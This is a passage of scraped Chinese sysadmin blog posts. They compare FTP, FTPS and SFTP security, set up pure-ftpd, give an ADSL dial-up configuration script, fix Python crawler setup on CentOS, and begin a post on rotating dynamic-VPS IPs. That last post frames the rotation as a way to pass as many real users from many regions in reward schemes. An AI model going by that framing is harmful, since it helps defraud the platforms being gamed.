bd4\u5982\u8bf4\u5178\u578b\u7684\u767b\u5f55\uff0c\u4f7f\u7528ftp\u5ba2\u6237\u7aef\u767b\u5f55ftp\u670d\u52a1\u5668\u7684\u65f6\u5019\u7528\u6237\u540d\u5bc6\u7801\u90fd\u662f\u76f4\u63a5\u660e\u6587\u4f20\u8f93\uff0c\u5047\u8bbe\u73b0\u5728\u5c40\u57df\u7f51\u5185\u6709\u4eba\u4f7f\u7528ARP\u55c5\u63a2\u6216\u8005\u6293\u5305\u5de5\u5177\uff0c\u5f88\u8f7b\u677e\u7684\u5c31\u80fd\u62ff\u5230\u767b\u5f55\u7684\u8d26\u53f7\u5bc6\u7801\uff0c\u8fd9\u975e\u5e38\u7684\u4e0d\u5b89\u5168\uff0c\u5f53\u7136\uff0c\u5982\u679c\u8fd9\u4e2aftp\u670d\u52a1\u5668\u672c\u6765\u5c31\u662f\u516c\u5f00\u7684\uff0c\u90a3\u4e48\u5c31\u65e0\u6240\u8c13\u4e86\u3002\u4e0b\u56fe\u662f\u6f14\u793a\u4e86\u6293\u5305\u5de5\u5177\u6293\u53d6ftp\u767b\u5f55\u7684\u8d26\u53f7\u5bc6\u7801\u4f8b\u5b50</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=536\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201708/901ade80b20bc12bd8bf4e5b6d531009.png\" alt=\"\u6df1\u5ea6\u622a\u56fe20170808140641.png - \u5927\u5c0f: 340.76 KB - \u5c3a\u5bf8: 1387 x 643 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"418\"></a></div>\r\n\r\n<p>\r\n\tftps \u662fftp\u7684\u5347\u7ea7\u7248\uff0c\u7c7b\u4f3chttp\u4e0ehttps\u7684\u5173\u7cfb\uff0cftps\u5c31\u662f\u5728ftp\u7684\u57fa\u7840\u4e0a\u589e\u52a0\u4e86\u8bc1\u4e66\u8ba4\u8bc1\u4ee5\u4fdd\u62a4\u4f20\u8f93\u6570\u636e\u7684\u5b89\u5168\uff0c\u6570\u636e\u5728\u4f20\u8f93\u7684\u8fc7\u7a0b\u4e2d\u90fd\u662f\u7ecf\u8fc7\u52a0\u5bc6\uff0c\u4f7f\u7528\u6293\u5305\u5de5\u5177\u83b7\u53d6\u5230\u7684\u6570\u636e\u5982\u4e0b\u56fe</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=537\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201708/89d0a82f789ec60a5cf9eb7ed4a29817.png\" alt=\"\u6df1\u5ea6\u622a\u56fe20170808142211.png - \u5927\u5c0f: 602.86 KB - \u5c3a\u5bf8: 1863 x 913 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"442\"></a></div>\u4ece\u56fe\u4e0a\u53ef\u4ee5\u770b\u51fa\u8bf7\u6c42\u548c\u54cd\u5e94\u7684\u6570\u636e\u90fd\u662f\u52a0\u5bc6\u5904\u7406\uff0c\u800c\u4e14\u6574\u4e2a\u8ba4\u8bc1\u7684\u8fc7\u7a0b\u660e\u663e\u6bd4ftp\u7684\u957f\uff0c\u8fd9\u662f\u56e0\u4e3a\u8bc1\u4e66\u8ba4\u8bc1\u6d41\u7a0b\u81ea\u8eab\u7684\u590d\u6742\u6027\u5bfc\u81f4\uff0c\u867d\u7136\u65f6\u95f4\u4e0a\u6709\u6240\u5ef6\u957f\uff0c\u4f46\u662f\u5b89\u5168\u6027\u5927\u5927\u63d0\u9ad8\uff0c\u9009\u62e9ftps\u662f\u975e\u5e38\u4e0d\u9519\u7684\u3002\r\n\r\n<p>\r\n\tsftp \u662f\u4e00\u4e2a\u7c7b\u4f3c\u4e0eftps\u7684\u4e00\u79cd\u534f\u8bae\uff0c\u57fa\u4e8essh\u534f\u8bae\uff0c\u8ba4\u8bc1\u6d41\u7a0b\u8ddfssh\u4e00\u6837\uff0c\u5982\u679c\u9009\u62e9\u4e86\u53ea\u80fd\u8bc1\u4e66\u767b\u5f55ssh\uff0c\u5219\u9700\u8981\u5728ftp\u5ba2\u6237\u7aef\u91cc\u9762\u914d\u7f6e\u8bc1\u4e66\uff0c\u540c\u6837\u7684\uff0c\u6211\u4eec\u4f7f\u7528\u6293\u5305\u5de5\u5177\u5c1d\u8bd5sftp\u767b\u5f55\uff0c\u770b\u770b\u80fd\u62ff\u5230\u54ea\u4e9b\u4e1c\u897f</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=538\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201708/cc064243e1410ec1d4d721101b0e80cf.png\" alt=\"\u6df1\u5ea6\u622a\u56fe20170808143524.png - \u5927\u5c0f: 390.35 KB - \u5c3a\u5bf8: 1389 x 804 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"521\"></a></div>\u56fe\u4e0a\u53ef\u4ee5\u770b\u51fa\u6765sftp\u4e0eftp\u7684\u8bf7\u6c42\u8fc7\u7a0b\u5dee\u5f02\u5f88\u5927\uff0c\u8d70\u7684\u5e76\u4e0d\u662fftp\u534f\u8bae\uff0c\u6ce8\u610f\u770bProtocol\uff08\u534f\u8bae\uff09\u8fd9\u4e00\u680f\u7684TPKT\uff0cTPKT\u57fa\u4e8eTCP\u534f\u8bae\uff0c\u5177\u4f53\u53ef\u4ee5\u53c2\u8003 <a href=\"https://wiki.wireshark.org/TPKT\" target=\"_blank\">https://wiki.wireshark.org/TPKT</a> \u3002sftp\u4e5f\u662f\u4e00\u79cd\u5b89\u5168\u7684\u4f20\u8f93\u65b9\u5f0f\uff0c\u4f46\u662f\u901f\u5ea6\u6bd4ftp\u6162\u4e86\u5f88\u591a\u3002\r\n\r\n<p>\r\n\t\u4e86\u89e3\u8fc7\u4e09\u79cd\u534f\u8bae\u4ee5\u540e\u6211\u4eec\u5c31\u53ef\u4ee5\u6839\u636e\u81ea\u5df1\u7684\u9700\u8981\u9009\u62e9\u5408\u9002\u7684\u65b9\u5f0f\u914d\u7f6e\u670d\u52a1\u5668\u4e86\u3002\r\n</p>\r\n<h2>\r\n\t\u914d\u7f6e\r\n</h2>\r\n<p>\r\n\t\u6839\u636e\u5f53\u524d\u4e1a\u52a1\u9700\u8981\uff0c\u8fd9\u91cc\u6211\u8981\u642d\u5efa\u7684\u662fftp\u670d\u52a1\u5668\uff0c\u91c7\u7528ftps\u534f\u8bae\u4f20\u8f93\uff0c\u670d\u52a1\u5668\u91c7\u7528\u7684\u662f\u963f\u91cc\u4e91ECS\uff0c\u7cfb\u7edfCentOS 7\u3002\r\n</p>\r\n<p>\r\n\t\u9996\u5148\u9700\u8981\u914d\u7f6e\u963f\u91cc\u4e91\u670d\u52a1\u5668\u7684\u5b89\u5168\u7ec4\u7b56\u7565\uff0c\u653e\u884c20\u548c21\u7aef\u53e3\uff0c\u63a5\u7740ssh\u767b\u5f55\u670d\u52a1\u5668\u4e0b\u8f7dpureftpd\uff0c\u5b98\u65b9\u94fe\u63a5 <a href=\"https://download.pureftpd.org/pub/pure-ftpd/releases/\" target=\"_blank\">https://download.pureftpd.org/pub/pure-ftpd/releases/</a> \uff0c\u9009\u62e9\u6700\u65b0\u7684tar.gz\u5305\u4e0b\r\n</p>\r\n<pre class=\"brush:bash;\">wget https://download.pureftpd.org/pub/pure-ftpd/releases/pure-ftpd-1.0.46.tar.gz</pre>\r\n\u7136\u540e\u89e3\u538b\r\n<pre class=\"brush:bash;\">tar zvxf pure-ftpd-1.0.46.tar.gz</pre>\r\n<p>\r\n\t\u4e4b\u540e\u8fdb\u5165\u5230\u76ee\u5f55\u8fdb\u884c\u7f16\u8bd1\u5b89\u88c5\uff0c\u5177\u4f53\u7f16\u8bd1\u5b89\u88c5\u8fc7\u7a0b\u5c31\u4e0d\u8be6\u7ec6\u5199\u4e86\uff0c\u53c2\u8003\u8fd9\u4e2a\u6587\u7ae0 <a href=\"http://blog.csdn.net/e421083458/article/details/7859075\" target=\"_blank\">http://blog.csdn.net/e421083458/article/details/7859075</a> \uff0c\u7f16\u8bd1\u5b89\u88c5\u5b8c\u4e00\u5b9a\u8981\u914d\u7f6e\u9632\u706b\u5899\u89c4\u5219\uff0c\u653e\u884cftp\uff0c\u6216\u8005\u76f4\u63a5\u5173\u6389\u9632\u706b\u5899\u6d4b\u8bd5\uff0c\u5426\u5219\u6216\u51fa\u73b0\u5404\u79cd\u5947\u8469\u7684\u95ee\u9898\uff0c\u6bd4\u5982\u6b63\u5e38\u767b\u5f55\u4f46\u662f\u6b7b\u6d3b\u83b7\u53d6\u4e0d\u5230\u76ee\u5f55\u3002\r\n</p>\r\n<h2>\r\n\t\u6ce8\u610f\r\n</h2>\r\n<p>\r\n\t\u5728\u914d\u7f6e\u8fc7\u7a0b\u4e2d\u51e0\u4e2a\u5bb9\u6613\u51fa\u73b0\u95ee\u9898\u7684\u5730\u65b9\uff0c\u9996\u5148\u662f\u5fd8\u8bb0\u628a\u914d\u7f6e\u7684\u8d26\u53f7\u5bc6\u7801\u5199\u5165\u5230\u6570\u636e\u5e93\u6587\u4ef6\uff0c\u4f7f\u7528\r\n</p><pre class=\"brush:bash;\">./pure-pw mkdb</pre>\r\n\u5199\u5165\u5230\u6570\u636e\u5e93\u6587\u4ef6\uff0c\u914d\u7f6e\u6587\u4ef6\u91cc\u9762\u8bbe\u7f6e\u53ea\u5141\u8bb8TLS\u767b\u5f55\uff0c\u4fee\u6539\u914d\u7f6e\u5b8c\u4e00\u5b9a\u8981\u91cd\u542f\u670d\u52a1\u3002\r\n\r\n<p>\r\n\t<br>\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23450 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["linux adsl \u62e8\u53f7\u81ea\u52a8\u914d\u7f6e\u811a\u672c\u4e00\u679a"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-07-24, 4:16 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u8d44\u6e90\u5171\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<p>\r\n\t\u5728\u4f7f\u7528\u52a8\u6001vps\u670d\u52a1\u5668\u7684\u65f6\u5019\u53d1\u73b0\u4e00\u679a\u5df2\u7ecf\u5199\u597d\u7684\u81ea\u52a8\u914d\u7f6e\u62e8\u53f7\u7684shell\u811a\u672c\uff0c\u5206\u4eab\u4e00\u4e0b\uff0c\u514d\u53bb\u624b\u52a8\u914d\u7f6e\u7684\u70e6\u607c\uff0c\u4ee3\u7801\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:bash;\">#! /bin/sh\r\nPATH=/usr/lib64/qt-3.3/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin\r\nLog=/var/log/pppoe.log\r\nsed -i '/^GATEWAY/d' /etc/sysconfig/network-scripts/ifcfg-eth0\r\nsed -i '/^DNS1/d' /etc/sysconfig/network-scripts/ifcfg-eth0\r\nsed -i '/^DNS2/d' /etc/sysconfig/network-scripts/ifcfg-eth0\r\n\r\necho \"del ifcfg-eth0 Gateway ...... Success\" > $Log\r\necho \"del ifcfg-eth0 DNS1 ...... Success\" >> $Log\r\necho \"del ifcfg-eth0 DNS2 ...... Success\" >> $Log\r\n\r\nread -p \"\u8bf7\u8f93\u5165ADSL\u5e10\u53f7:\" id\r\nread -p \"\u8bf7\u8f93\u5165ADSL\u5bc6\u7801:\" ps\r\n\r\nsed -i 's/root/'$id'/g' /etc/ppp/chap-secrets\r\nsed -i 's/12345/'$ps'/g' /etc/ppp/chap-secrets\r\n\r\necho \"MOdify chap-secrets ...... Success\" >>$Log\r\n\r\nsed -i 's/root/'$id'/g' /etc/ppp/pap-secrets\r\nsed -i 's/12345/'$ps'/g' /etc/ppp/pap-secrets\r\n\r\necho \"Modify pap-secrets ......Success\" >>$Log\r\n\r\nsed -i 's/root/'$id'/g' /etc/sysconfig/network-scripts/ifcfg-ppp0\r\n\r\necho \"Modify ifcfg-ppp0 ......Success\" >>$Log\r\n\r\necho nameserver 114.114.114.114 >> /etc/resolv.conf\r\necho nameserver 8.8.8.8 >> /etc/resolv.conf\r\n\r\nsystemctl restart network.service \r\n\r\ncat $Log\r\nexit\r\n</pre>\r\n<p>\r\n\t<br>\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23449 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["Centos\u4e0a\u8dd1Python\u722c\u866b\u9047\u5230\u7684\u4e00\u4e9b\u95ee\u9898"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-07-20, 5:54 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u6700\u8fd1\u5728\u5199\u722c\u866b\u7684\u65f6\u5019\u9047\u5230\u4e86\u4e00\u4e9b\u795e\u5947\u7684\u95ee\u9898\uff0c\u660e\u660e\u5728\u672c\u5730\u7684\u7cfb\u7edf\u4e0a\u8dd1\u7684\u597d\u597d\u7684\uff0c\u4e22\u5230\u670d\u52a1\u5668\u4e0a\u5c31\u51fa\u73b0\u5404\u79cd\u795e\u5947\u7684\u9519\u8bef\uff0c\u8fd9\u91cc\u603b\u7ed3\u4e00\u4e0b\uff0c\u5907\u5fd8\r\n</p>\r\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u6211\u7684\u722c\u866b\u4f7f\u7528\u7684\u662fPython\u7f16\u5199\uff0c\u4e00\u79cd\u662f\u7eaf\u7cb9\u4f7f\u7528requests\u5e93\u53bb\u6293\u53d6\u5185\u5bb9\uff0c\u7136\u540e\u6b63\u5219\u5339\u914d\u5185\u5bb9\u3002\u53e6\u5916\u4e00\u79cd\u662f\u914d\u5408selenium\u8fd9\u4e2a\u5f3a\u5927\u7684\u5e93\uff0c\u8fd9\u4e2a\u5e93\u5e38\u7528\u6765\u505a\u81ea\u52a8\u5316\u6d4b\u8bd5\u3002python \u4f7f\u7528 phantomjs\u505a\u722c\u866b\u4e5f\u662f\u975e\u5e38\u4e0d\u9519\u7684\uff0c\u6a21\u62df\u51fa\u4e00\u4e2a\u6d4f\u89c8\u5668\uff0c\u53ef\u4ee5\u76f4\u63a5\u6267\u884cjs\u4ee3\u7801\uff0c\u64cd\u4f5cdom\u6811\u7b49\u3002\r\n</p>\r\n<p>\r\n\t\u672c\u5730\u7f16\u5199\u6d4b\u8bd5\u722c\u866b\u4f7f\u7528\u7684\u7cfb\u7edf\u662fdebian\u7cfb\u5217\uff0c\u7ebf\u4e0a\u8fd0\u884c\u722c\u866b\u4f7f\u7528\u7684\u662fcentos7\uff0c\u6240\u4ee5\u5728\u6d4b\u8bd5\u65f6\u5019\u6b63\u5e38\uff0c\u7ebf\u4e0a\u6709\u95ee\u9898\u662f\u5f88\u86cb\u75bc\u7684\uff0c\u4e0b\u9762\u5c31\u5199\u4e00\u4e0b\u9047\u5230\u7684\u5751\u3002\r\n</p>\r\n<h2>\r\n\t\u5751\r\n</h2>\r\n<p>\r\n\t0x00\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e00\u4e2a\u5751\u5c31\u662f\u5b89\u88c5pip\u51fa\u9519\uff0c\u5728debian\u7cfb\u5217\u4e0a\u9762\u5b89\u88c5pip\u975e\u5e38\u7684\u7b80\u5355\uff0c\u76f4\u63a5\u6267\u884c\u4e0b\u9762\u7684\u4e00\u6761\u547d\u4ee4\u5373\u53ef\r\n</p>\r\n<pre class=\"brush:bash;\">sudo apt-get install python-pip && sudo -H pip install -U pip</pre>\r\n\u6216\u8005\u76f4\u63a5\u4e0b\u8f7d\u5b98\u65b9\u7684get-pip.py\u6587\u4ef6\u7136\u540e\u6267\u884c\u5b89\u88c5\r\n<pre class=\"brush:bash;\">python get-pip.py</pre>\r\n\u7136\u800c\uff0c\u5929\u671d\u86cb\u75bc\u7684\u7f51\u7edc\u73af\u5883\u5e76\u4e0d\u80fd\u5f88\u987a\u5229\u7684\u4f7f\u7528\u7b2c\u4e8c\u79cd\u65b9\u6cd5\u5b89\u88c5\uff0c\u6240\u4ee5\u53ea\u80fd\u4f7f\u7528apt-get\u5b89\u88c5\uff0c\u5207\u6362\u5230centos\u4e0b\u9762\u540e\u53d1\u73b0 yum \u91cc\u9762\u6839\u672c\u5c31\u6ca1\u6709 python-pip\u8fd9\u4e2a\u73a9\u610f\u3002\r\n<p>\r\n\t\u901a\u8fc7\u641c\u7d22\u5f15\u64ce\u627e\u5230\u89e3\u51b3\u65b9\u6848\uff0c\u539f\u6587\u8fde\u63a5 <a href=\"http://www.centoscn.com/image-text/install/2015/0816/6013.html\" target=\"_blank\">http://www.centoscn.com/image-text/install/2015/0816/6013.html</a> \r\n</p>\r\n<p>\r\n\t\u9996\u5148\u5b89\u88c5EPEL\uff0c\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\u5373\u53ef\r\n</p>\r\n<pre class=\"brush:bash;\">sudo yum -y install epel-release</pre>\r\n\u63a5\u7740\u5c31\u53ef\u4ee5\u5b89\u88c5pip\u4e86\uff0c\u6267\u884c\r\n<pre class=\"brush:bash;\">sudo yum install python-pip</pre>\r\n<p>\r\n\t\u6b63\u5e38\u5b89\u88c5\uff0c\u5b89\u88c5\u5b8c\u4e4b\u540e\u9700\u8981\u5b89\u88c5requests\u7b49python\u5e93\uff0c\u7136\u800c\u8fd8\u662f\u56e0\u4e3a\u7f51\u7edc\u539f\u56e0\uff0c\u5404\u79cd\u5931\u8d25\uff0c\u6240\u4ee5\u53ea\u80fd\u66f4\u6362\u955c\u50cf\u5730\u5740\uff0c\u8fd9\u91cc\u4f7f\u7528\u8c46\u74e3\u7684\u5c31\u5f88\u4e0d\u9519\uff0c\u53c2\u8003\u94fe\u63a5 <a href=\"http://www.cnblogs.com/yudar/p/4444097.html\" target=\"_blank\">http://www.cnblogs.com/yudar/p/4444097.html</a> \u539f\u6587\u4e2d\u7684http\u8981\u6362\u6210https\uff0c\u901f\u5ea6\u6760\u6760\u7684\uff0c\u4f8b\u5982\u5b89\u88c5requests\u5e93\r\n</p>\r\n<pre class=\"brush:bash;\">pip install requests -i https://pypi.douban.com/simple</pre>\r\n<p>\r\n\t\u7136\u540e\u5f00\u59cb\u8dd1\u722c\u866b\uff0c\u672c\u5730\u8dd1\u6ca1\u6709\u95ee\u9898\uff0c\u7ebf\u4e0a\u4e00\u76f4\u62a5\u9519\r\n</p>\r\n<pre class=\"brush:bash;\">Message: Service phantomjs unexpectedly exited. Status code was: 255</pre>\r\n\u901a\u8fc7\u8c37\u6b4c\u641c\u7d22\u5f15\u64ce\u627e\u5230\u4e24\u7bc7\u6587\u7ae0 https://stackoverflow.com/questions/37930681/using-selenium-phantomjs-and-tor-in-python \u548c http://sameerhalai.com/blog/how-to-install-phantomjs-on-a-centos-server/ \u6210\u529f\u89e3\u51b3\uff0c\u6267\u884c\u547d\u4ee4\r\n<pre class=\"brush:bash;\">sudo yum install fontconfig</pre>\r\n<p>\r\n\t\u4e4b\u540e\u5c31\u53ef\u4ee5\u987a\u5229\u7684\u73a9\u800d\u4e86\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23448 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5982\u4f55\u6b63\u786e\u7684\u4f7f\u7528\u52a8\u6001VPS\uff08Linux\uff09\u81ea\u52a8\u66f4\u6362IP"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-07-20, 11:25 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u73b0\u5728\u8d8a\u6765\u8d8a\u591a\u7684\u4eba\u5f00\u59cb\u73a9\u7f51\u8d5a\u9879\u76ee\uff0c\u8682\u8681\u518d\u5c0f\u4e5f\u662f\u8089\uff0c\u8585\u7f8a\u6bdb\u7684\u7f8a\u6bdb\u515a\u8d8a\u6765\u8d8a\u591a\uff0c\u4e00\u4e9b\u7f51\u8d5a\u9879\u76ee\u4e5f\u8d8a\u6765\u8d8a\u53d7\u6b22\u8fce\uff0c\u4f46\u662f\u4e00\u822c\u7684\u7f51\u8d5a\u9879\u76ee\u90fd\u662f\u8981\u6c42\u771f\u5b9e\u7528\u6237\u7684\uff0c\u6240\u4ee5\u8981\u60f3\u83b7\u5f97\u5927\u91cf\u7684\u771f\u5b9eip\uff0c\u4e00\u79cd\u52a8\u6001VPS\u5c31\u8bde\u751f\u4e86\uff0c\u52a8\u6001VPS\u91c7\u7528PPTP\u6216\u8005ADSL\u62e8\u53f7\u7684\u65b9\u5f0f\u83b7\u53d6\u52a8\u6001IP\uff0c\u4e0d\u4ec5\u53ef\u4ee5\u505a\u5230\u83b7\u53d6\u533a\u57df\u6027IP\uff0c\u8fd8\u53ef\u4ee5\u6df7\u62e8\uff0c\u4e5f\u5c31\u662f\u53ef\u4ee5\u83b7\u53d6\u5168\u56fd\u5404\u5730\u7684IP\u5730\u5740\uff0c\u8fd9\u6837\u5bf9\u4e8e\u7f51\u8d5a\u9879\u76ee\u6765\u8bf4\u5c31\u975e\u5e38\u597d\u4e86\uff0c\u8f7b\u677e\u6a21\u62df\u51fa\u6765\u5404\u79cd\u5730\u533aIP\uff0c\u8fbe\u5230\u8d5a\u94b1\u7684\u76ee\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u535a\u4e3b\u6700\u8fd1\u63a5\u5230\u4e00\u5355\uff0c\u7f16\u5199\u81ea\u52a8\u5316\u62e8\u53f7\u811a\u672c\uff0c\u81ea\u52a8\u5207\u6362\u52a8\u6001VPS\u7684\u5916\u7f51IP\u5b9e\u73b0\u81ea\u52a8\u5316\u7f51\u8d5a\uff0c\u4eca\u5929\u5c31\u8bb0\u5f55\u4e0b\u52a8\u6001VPS\u7684\u914d\u7f6e\u4ee5\u53ca\u4f7f\u7528\u7684\u59ff\u52bf\u3002\r\n</p>\r\n<h2>\r\n\t\u673a\u5668\r\n</h2>\r\n<p>\r\n\t\u5148\u770b\u4e0b\u673a\u5668\u7684\u914d\u7f6e\uff0c\u5ba2\u6237\u7ed9\u8fc7\u6765\u7684\u673a\u5668\uff0c\u914d\u7f6e\u5982\u4e0b\uff1a\r\n</p>\r\n<p>\r\n\t\u7cfb\u7edf\uff1aLinux\r\n</p>\r\n<p>\r\n\t\u5185\u5b58\uff1a512M\r\n</p>\r\n<p>\r\n\tCPU\uff1a\u5355\u6838\uff08PS\uff1a\u535a\u4e3b\u597d\u60f3\u53bb\u91c7\u8d2d\u4e00\u6279ARM\u5355\u7247\u673a\u6765\u505a\u52a8\u6001VPS\u554a\uff0c\u9ad8\u6536\u76ca\u4f4e\u6210\u672c\uff09\r\n</p>\r\n<p>\r\n\t\u786c\u76d8\uff1a10G\r\n</p>\r\n<p>\r\n\t\u5e26\u5bbd\uff1a2M\r\n</p>\r\n<p>\r\n\t\u7531\u4e8e\u5ba2\u6237\u4e00\u6b21\u6027\u7ed9\u8fc7\u6765\u7684\u673a\u5668\u6bd4\u8f83\u591a\uff0c100\u591a\u53f0VPS\uff0c\u914d\u7f6e\u5927\u4f53\u4e0a\u90fd\u5dee\u4e0d\u591a\uff0c\u4f46\u662f\u5404\u4e2a\u673a\u5668\u4e4b\u95f4\u7684\u5dee\u8ddd\u5f88\u5927\uff0c\u6bd4\u5982\u6709\u7684\u673a\u5668\u53ea\u6709\u4e00\u4e2a\u7f51\u5361\uff0c\u6709\u7684\u673a\u5668\u6709\u597d\u51e0\u5f20\u7f51\u5361\uff0c\u6709\u7684\u673a\u5668\u88c5\u7684\u662fCentos 6\u6709\u7684\u662fCentos7\uff0c\u6709\u7684\u5df2\u7ecf\u914d\u7f6e\u597d\u62e8\u53f7\u7a0b\u5e8f\u4e86\uff0c\u6709\u7684\u5565\u4e5f\u6ca1\u6709\u7b49\u7b49\u5404\u79cd\u60c5\u51b5\u90fd\u5b58\u5728\u3002\r\n</p>\r\n<h2>\r\n\t\u914d\u7f6e<br>\r\n</h2>\r\n<p>\r\n\t\u65e2\u7136\u662f\u8981\u5b9e\u73b0\u81ea\u52a8\u5316\u62e8\u53f7\u7a0b\u5e8f\uff0c\u81ea\u7136\u662f\u8981\u5148\u5224\u65ad\u4e0b\u62e8\u53f7\u7a0b\u5e8f\u5728\u4e0d\u5728\uff0cLinux\u7684\u62e8\u53f7\u7a0b\u5e8f\u4f7f\u7528\u7684\u662f pppoe-start \u547d\u4ee4\uff0c\u6ce8\u610f\uff0c\u5728\u4e0d\u540c\u7684Linux\u91cc\u9762\u62e8\u53f7\u7a0b\u5e8f\u53ef\u80fd\u4e0d\u4e00\u6837\uff0c\u6709\u7684\u7248\u672c\u4f7f\u7528\u7684\u662fadsl-start\u547d\u4ee4\uff0c\u6211\u8fd9\u91cc\u9996\u5148\u67e5\u770b\u4e0b\u7cfb\u7edf\u7684\u53d1\u884c\u7248\u672c\uff0c\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\r\n</p>\r\n<pre class=\"brush:bash;\">[root@localhost ~]# cat /etc/redhat-release \r\nCentOS Linux release 7.1.1503 (Core)</pre>\r\n\u770b\u5230\u8fd4\u56de\u4e86\u53d1\u884c\u7248\u672c\u662fcentos 